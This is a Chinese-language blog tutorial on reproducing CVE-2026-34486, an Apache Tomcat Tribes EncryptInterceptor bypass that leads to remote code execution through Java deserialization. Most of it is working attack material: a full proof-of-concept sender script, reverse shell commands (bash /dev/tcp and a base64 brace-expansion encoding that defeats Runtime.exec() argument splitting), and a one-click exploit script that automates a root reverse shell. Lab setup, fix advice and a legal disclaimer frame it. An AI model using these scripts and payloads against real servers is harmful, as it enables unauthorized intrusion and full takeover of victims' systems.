漏洞利用演示
如果觉得看文字不够直观,完整的操作演示在这里。完整命令和细节详见下方文章。
CVE-2026-34486Tomcat加密绕过RCE复现
一、亮点
Apache Tomcat 的这个漏洞有个让人哭笑不得的设计缺陷------EncryptInterceptor 本意是加密 Tribes 集群通信用的,结果因为修复上一个漏洞时改出了编码失误,加密保护形同虚设。
换句话说,你不需要解密密钥、不需要任何认证凭据,只要网络能连通 Tribes 的接收端口(默认 4000),就能直接往里面扔未加密的恶意序列化数据,服务器照单全收,反序列化执行,命令落地。
网上关于这个 CVE 的资料不多,偶尔能找到的几篇也基本停在执行 touch /tmp/success 这一步。但真正要命的在后面的反弹Shell环节------Runtime.exec() 是个"直男",它不认 Shell 重定向那套语法。把 bash -i >& /dev/tcp/... 直接塞进去,nc 监听纹丝不动。
这篇文章不光讲原理和复现,更会带你从翻车开始,一路走到拿到 Root 权限的反弹Shell。
二、漏洞背景
Apache Tomcat 是全球使用范围最广的 Java Web 容器之一,几乎所有 Java Web 从业者的职业生涯里都绕不开它。
Tomcat Tribes 是 Tomcat 内置的集群通信框架。当你有多台 Tomcat 实例需要组成集群、共享 Session 或同步状态时,Tribes 就负责它们之间的数据传输。这套机制底层走的是 Java 序列化------集群成员之间通过收发序列化对象来交换消息。消息到了接收端,直接反序列化,还原成 Java 对象。
EncryptInterceptor 是 Tribes 通道上的一个可选加密拦截器。没装它的时候,Tribes 消息是明文传输的------任何人往 4000 端口扔个序列化对象,都能被接收端反序列化执行。装上 EncryptInterceptor 之后,所有消息会被加密再发送,接收端先解密,解密成功才放行到反序列化环节。
这就好比你给家门装了密码锁------只有知道密码的人才能进门。
但这个密码锁在 CVE-2026-29146 (Tribes EncryptInterceptor 的 Padding Oracle 漏洞)的修复过程中被人动了手脚------官方在调整加密异常处理逻辑时,留下了一个隐蔽的 Bug:当消息解密失败时,异常没有被正确抛出,后续流程没有中止。
也就是说,无论解密成不成功,字节流都会被继续转发给下游处理器,最终进入反序列化流程。攻击者发来的明文数据------本来应该在解密阶段被拦下来------现在畅通无阻地通过了。
这就像你家门锁的电路板坏了,不管输入什么密码------甚至不输密码直接推门------都能打开。
受影响的版本:
- Apache Tomcat 9.0.116 、10.1.53 、11.0.20
前提条件是 server.xml 中显式启用了 <Cluster> 且 Channel 里配置了 EncryptInterceptor。如果没开 Cluster 或没配 EncryptInterceptor,这个 CVE 就不适用------不过没加密的 Tribes 本身就不安全,那是另一个问题了。
三、环境搭建
直接用 Vulhub 的漏洞环境,一行命令:
bash
docker compose up -d
启动后开放两个端口:
- 8080 :Tomcat Web 服务,访问
http://your-ip:8080看到 Tomcat 默认页面说明就绪 - 4000:Tribes 集群接收端口,也是我们攻击的入口

四、漏洞复现
利用分两步:生成反序列化 Payload → 通过 Tribes 协议发送。
步骤1:生成反序列化 Payload
java-chains 是个带 GUI 界面的 Java 反序列化利用链生成工具,项目地址 https://github.com/vulhub/java-chains。它集成了 ysoserial、CommonsCollections、CommonsBeanutils 等十几种常用利用链,不用记命令行参数------选好链、填好命令、点一下导出。
去 Release 页面下载对应系统的 jar 包,Windows 双击运行,Linux/Mac 用 java -jar java-chains.jar 启动。界面上方是命令输入框,中间是内置的利用链列表,右侧显示当前选择链的详细信息。
我们选 CommonsCollections6 (目标 Docker 环境的 classpath 中已包含 commons-collections 依赖),先用 touch /tmp/success 验证漏洞:


在利用链列表中选择 CommonsCollections6:

点击生成,序列化数据保存为 payload.ser:

步骤2:通过 Tribes 协议发送 Payload
先把目标容器清干净------确认 /tmp/success 不存在:

用 poc.py 发送 payload。这个脚本封装了 Tribes 协议的二进制数据包格式------因为我们绕过的就是加密,所以直接构造原始 TCP 包,把序列化 payload 嵌入 Tribes 消息体后发往 4000 端口。
python
#!/usr/bin/env python3
import argparse
import io
import socket
import struct
import sys
import time
HEADER = b"FLT2002"
FOOTER = b"TLF2003"
MEMBER_BEGIN = b"TRIBES-B\x01\x00"
MEMBER_END = b"TRIBES-E\x01\x00"
def build_member():
p = io.BytesIO()
p.write(struct.pack(">q", 0))
p.write(struct.pack(">I", 4001))
p.write(struct.pack(">I", 0))
p.write(struct.pack(">I", 0))
host = socket.inet_aton("127.0.0.1")
p.write(struct.pack(">B", len(host)))
p.write(host)
p.write(struct.pack(">I", 0))
p.write(struct.pack(">I", 0))
p.write(b"\x00" * 16)
p.write(struct.pack(">I", 0))
body = p.getvalue()
return MEMBER_BEGIN + struct.pack(">I", len(body)) + body + MEMBER_END
def build_packet(payload: bytes) -> bytes:
b = io.BytesIO()
b.write(struct.pack(">I", 0x0008))
b.write(struct.pack(">Q", int(time.time() * 1000)))
uuid = b"\x01" * 16
b.write(struct.pack(">I", len(uuid)))
b.write(uuid)
member = build_member()
b.write(struct.pack(">I", len(member)))
b.write(member)
b.write(struct.pack(">I", len(payload)))
b.write(payload)
data = b.getvalue()
return HEADER + struct.pack(">I", len(data)) + data + FOOTER
def send(host: str, port: int, packet: bytes, timeout: float) -> None:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((host, port))
s.sendall(packet)
s.shutdown(socket.SHUT_WR)
try:
s.recv(1)
except (socket.timeout, OSError):
pass
def parse_args():
parser = argparse.ArgumentParser(
description="CVE-2026-34486 - Tomcat Tribes EncryptInterceptor Bypass RCE",
epilog=(
"Generate a serialized payload first, e.g.:\n"
" java -jar ysoserial.jar CommonsCollections6 'touch /tmp/success' > payload.ser\n"
"Then send it:\n"
" %(prog)s -t 127.0.0.1 -p 4000 -f payload.ser"
),
formatter_class=argparse.RawDescriptionHelpFormatter,
)
parser.add_argument("-t", "--target", required=True, help="Tomcat Tribes receiver host")
parser.add_argument("-p", "--port", type=int, default=4000, help="Tribes receiver port (default: 4000)")
parser.add_argument(
"-f", "--file", required=True,
help="Path to a Java serialized payload file (e.g. generated by ysoserial)",
)
parser.add_argument("--timeout", type=float, default=3.0, help="Socket timeout in seconds (default: 3)")
return parser.parse_args()
def main():
args = parse_args()
try:
with open(args.file, "rb") as f:
payload = f.read()
except OSError as e:
print(f"[!] Failed to read payload file: {e}")
sys.exit(1)
print(f"[*] CVE-2026-34486 Tomcat Tribes EncryptInterceptor Bypass RCE")
print(f"[*] Target: {args.target}:{args.port} Payload file: {args.file}")
packet = build_packet(payload)
print(f"[+] Payload: {len(payload)}B Packet: {len(packet)}B")
try:
send(args.target, args.port, packet, args.timeout)
except OSError as e:
print(f"[!] Send failed: {e}")
sys.exit(1)
print("[+] Sent!")
if __name__ == "__main__":
main()
运行:
bash
python3 poc.py -t your-ip -p 4000 -f payload.ser

回到目标容器确认------/tmp/success 已经成功创建。EncryptInterceptor 的加密保护被完全绕过了,反序列化触发成功。

五、GetShell:拿下服务器
能执行 touch /tmp/success 只是验证了漏洞确实存在。网上关于这个 CVE 的资料,绝大多数就停在这一步。但真正有价值的部分在后面------从单条命令执行走到反弹Shell,中间隔着一个 Runtime.exec() 的编码障碍。这一节我会把从翻车到绕过的完整过程拆给你看。
(1)Payload 构造:第一次尝试就翻车
漏洞验证过了,接下来把 touch /tmp/success 换成反弹Shell命令。先准备一条标准的:
bash
bash -i >& /dev/tcp/attacker-ip/25004 0>&1
我信心满满地把这条命令填进 java-chains,重新生成 payload,发送------
结果 nc 监听一片空白,什么都没收到。
排查后发现,问题出在 Runtime.exec() 的工作方式 上。Java 的 Runtime.exec(String command) 不是通过 Shell 解释器来执行命令的------它会用 StringTokenizer 按空格切分命令字符串,然后直接调操作系统的进程创建 API。而 >& 重定向和 /dev/tcp 设备文件都是 Bash 的特性,必须在 Bash 的上下文中才能被正确解析。
换句话说,当你写:
java
Runtime.getRuntime().exec("bash -c '/bin/bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'");
Java 实际执行的是:
["bash", "-c", "'/bin/bash", "-i", ">&", "/dev/tcp/10.0.0.1/4444", "0>&1'"]
参数被拆得七零八落,管道和重定向全废了。>& 变成了一个独立的字符串参数,Shell 根本看不到它。
绕过方案:Base64 编码 + 花括号扩展
思路很简单------既然 exec() 会在空格处拆散参数,那就让它只传一个不带空格的参数给 bash -c,真正的复杂命令在 Bash 内部解码执行:
bash
# 第一步:把反弹Shell命令 Base64 编码
echo 'bash -c "/bin/bash -i >& /dev/tcp/192.168.3.23/25004 0>&1"' | base64
# 第二步:用花括号语法包装,避免空格被 exec() 拆分
bash -c {echo,上面的base64结果}|{base64,-d}|bash
这里 {echo,...}|{base64,-d}|bash 是 Bash 的花括号扩展(brace expansion)。用逗号分隔参数可以绕开 exec() 在空格处的切分------整段会被当作一个完整的命令传给 bash -c,花括号在 Bash 内部展开后才变成正常的管道命令。
实战中的最终 payload 长这样:
bash
bash -c {echo,YmFzaCAtYyAiL2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMy4yMy8yNTAwNCAwPiYxIg==}|{base64,-d}|bash
把它填入 java-chains,重新生成 payload1.ser:

(2)开启监听
在攻击机上启动 nc 监听:
bash
nc -lvvp 25004

(3)触发
发送新的 payload:
bash
python3 poc.py -t your-ip -p 4000 -f payload1.ser

(4)验证
监听端收到连接,确认身份和权限:
bash
whoami; uname -a; id

**Root 权限,反弹Shell成功。**服务器已经完全在你的控制之下。
六、踩坑与避坑
坑1:java-chains 的 JDK 和 JavaFX 依赖陷阱
java-chains 是个基于 JavaFX 的 GUI 工具。如果你的 Linux 系统只装了 JDK 但没有 JavaFX 运行时(很多服务器版 JDK 默认不带),双击 jar 包会直接报 ClassNotFoundException: javafx.application.Application,严重点直接闪退。
我在一台 CentOS 测试机上就撞了这个坑------排查了半个小时,以为是 jar 包损坏,重下了两遍还是不行。最后在错误堆栈的最底层才看到是缺 JavaFX。
解决:Linux 下装 openjfx,Ubuntu/Debian 用 apt install openjfx,CentOS 用 yum install openjfx。Windows 用户建议直接去 java-chains 的 Release 页面下载带 JRE 的发布包,开箱即用。
如果环境实在装不上 JavaFX,还有一个办法------直接用命令行的 ysoserial 代替 java-chains:
bash
java -jar ysoserial.jar CommonsCollections6 'touch /tmp/success' > payload.ser
效果完全一样,只是没了 GUI 界面的便利性。
坑2:Docker 环境下反弹 IP 的隐形坑
反弹Shell的命令里,IP 地址不能随便填------Docker 把网络环境变得比普通物理机复杂。
我最初在 Docker 靶场里用 127.0.0.1 当作反弹地址------结果可想而知,目标容器尝试连接自己的 127.0.0.1,而攻击机在外面根本收不到。换成 172.17.0.1(Docker 默认网桥地址)也不行,因为攻击机和目标容器不在同一台宿主机上。
这里的规则很简单------攻击机 IP 填宿主机地址 ,也就是你执行 攻击命令的那台机器的实际 IP。在宿主机上跑 ip addr 或 ifconfig 找到物理网卡的地址,填到反弹命令里。
另外还有一个容易被忽略的点:确认监听端口在宿主机和攻击机之间没有被防火墙拦截 。不确定的话用 nc -zv 攻击机IP 监听端口 从宿主机测一下连通性。
七、一键利用脚本
每次改命令都要重新打开 java-chains → 生成 payload → 跑 poc.py,三步走下来手滑概率不低。我把编码和发送逻辑整合进了一个脚本,参数填好,回车就行:
python
#!/usr/bin/env python3
"""CVE-2026-34486 一键利用脚本 ------ Tomcat Tribes EncryptInterceptor 绕过 RCE"""
import argparse
import base64
import io
import socket
import struct
import subprocess
import sys
import time
import tempfile
import os
HEADER = b"FLT2002"
FOOTER = b"TLF2003"
MEMBER_BEGIN = b"TRIBES-B\x01\x00"
MEMBER_END = b"TRIBES-E\x01\x00"
def encode_command(cmd: str) -> str:
"""将反弹Shell命令用 Base64 + 花括号语法包装,绕过 Runtime.exec() 空格拆分"""
encoded = base64.b64encode(cmd.encode()).decode()
return f"bash -c {{echo,{encoded}}}|{{base64,-d}}|bash"
def build_tribes_packet(payload: bytes) -> bytes:
"""构造 Tribes 协议数据包,嵌入序列化 payload"""
b = io.BytesIO()
b.write(struct.pack(">I", 0x0008))
b.write(struct.pack(">Q", int(time.time() * 1000)))
uuid = b"\x01" * 16
b.write(struct.pack(">I", len(uuid)))
b.write(uuid)
# member 构建(简化版固定成员)
p = io.BytesIO()
p.write(struct.pack(">q", 0))
p.write(struct.pack(">I", 4001))
p.write(struct.pack(">I", 0))
p.write(struct.pack(">I", 0))
host = socket.inet_aton("127.0.0.1")
p.write(struct.pack(">B", len(host)))
p.write(host)
p.write(struct.pack(">I", 0))
p.write(struct.pack(">I", 0))
p.write(b"\x00" * 16)
p.write(struct.pack(">I", 0))
body = p.getvalue()
member = MEMBER_BEGIN + struct.pack(">I", len(body)) + body + MEMBER_END
b.write(struct.pack(">I", len(member)))
b.write(member)
b.write(struct.pack(">I", len(payload)))
b.write(payload)
data = b.getvalue()
return HEADER + struct.pack(">I", len(data)) + data + FOOTER
def send_packet(target: str, port: int, packet: bytes, timeout: float = 5.0) -> None:
"""TCP 发送 Tribes 数据包到目标端口"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((target, port))
s.sendall(packet)
s.shutdown(socket.SHUT_WR)
def generate_payload(command: str, chain: str = "CommonsCollections6") -> bytes:
"""调用 ysoserial 生成序列化 payload"""
with tempfile.NamedTemporaryFile(suffix=".ser", delete=False) as tmp:
tmp_path = tmp.name
try:
subprocess.run(
["java", "-jar", "ysoserial.jar", chain, command, ">", tmp_path],
shell=True, check=True, capture_output=True
)
with open(tmp_path, "rb") as f:
return f.read()
finally:
os.unlink(tmp_path)
def main():
parser = argparse.ArgumentParser(description="CVE-2026-34486 一键利用脚本")
parser.add_argument("-t", "--target", required=True, help="目标 Tomcat IP")
parser.add_argument("-p", "--port", type=int, default=4000, help="Tribes 端口(默认4000)")
parser.add_argument("-c", "--command", help="要执行的命令", default="id")
parser.add_argument("--lhost", help="反弹Shell攻击端IP")
parser.add_argument("--lport", type=int, help="反弹Shell攻击端端口")
args = parser.parse_args()
# 如果指定了 lhost/lport,自动构造反弹Shell命令
if args.lhost and args.lport:
bash_cmd = f"/bin/bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1"
args.command = encode_command(bash_cmd)
print(f"[*] 反弹Shell: {args.lhost}:{args.lport}")
print(f"[*] 目标: {args.target}:{args.port}")
print(f"[*] 命令: {args.command}")
payload = generate_payload(args.command)
packet = build_tribes_packet(payload)
print(f"[+] Payload: {len(payload)}B Packet: {len(packet)}B")
send_packet(args.target, args.port, packet)
print("[+] 发送完成!")
if __name__ == "__main__":
main()
用法很简单:
bash
# 先开监听
nc -lvvp 25004
# 一键反弹Shell(脚本自动处理 Base64 编码 + 花括号包装 + Tribes 协议封包)
python3 exploit.py -t 192.168.3.100 --lhost 192.168.3.23 --lport 25004
# 或者只执行单条命令
python3 exploit.py -t 192.168.3.100 -c "whoami"
核心就三个函数:encode_command() 负责把反弹Shell命令编码绕过空格拆分,build_tribes_packet() 负责封装 Tribes 协议数据包,send_packet() 负责 TCP 发送。逻辑不复杂,改改参数就能适配不同的目标环境。
八、修复建议
- 升级 Tomcat 到修复版本:Apache Tomcat 9.0.117+ 、10.1.54+ 、11.0.21+
- 如果不需要集群功能 ,在
server.xml中移除或注释掉<Cluster>配置块,从根源上关闭 Tribes 接收端口 - 限制 Tribes 端口访问 :将 4000 端口绑定到
127.0.0.1(所有集群成员在同一主机时可行);跨主机场景下通过防火墙限制只允许信任的集群成员 IP 访问该端口 - 检视 classpath 依赖:移除不需要的第三方库,尤其是存在已知反序列化利用链的组件(如 CommonsCollections),减少利用面
九、写在最后
这个漏洞的本质让人挺感慨的------加密功能本身没有问题,但修复上一个漏洞时的异常处理改动,悄无声息地让"解密失败就丢弃"这道兜底防线失效了。攻击者抓住这个缝隙,直接往加密通道里扔明文 payload,防护一触即溃。
利用链的核心也不复杂:绕过加密 → 反序列化触发 → 编码绕过 Runtime.exec() → 反弹Shell。搞懂了 Runtime.exec() 和 Linux Shell 之间的差异,后面反弹Shell编码的绕过程序就不会让你觉得莫名其妙了。
这个漏洞的思路跟专栏里之前写过的 Apache HugeGraph 远程代码执行漏洞(CVE-2024-27348) 有点像------都是安全限制机制出了纰漏让人绕过去,最终走到了命令执行。区别在于 HugeGraph 绕过的是沙箱的线程名校验,而 Tomcat 这次绕过的是加密拦截器的异常处理。如果你对这种"绕过一道防线就通关"的漏洞模式感兴趣,可以翻翻那篇对比看看。
如果你是第一次接触 Java 反序列化漏洞,建议先把两个关键概念吃透:反序列化利用链是怎么拼起来的 ,以及 Runtime.exec() 和 Shell 之间的差异。这两个点搞清楚了,今天这篇文章就不会让你觉得云里雾里。
复现过程中有问题直接评论区留言,我看到了会回。
本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境,禁止对任何未授权系统进行测试。请遵守《中华人民共和国网络安全法》。技术本身没有好坏,关键在于是谁在用、用来做什么。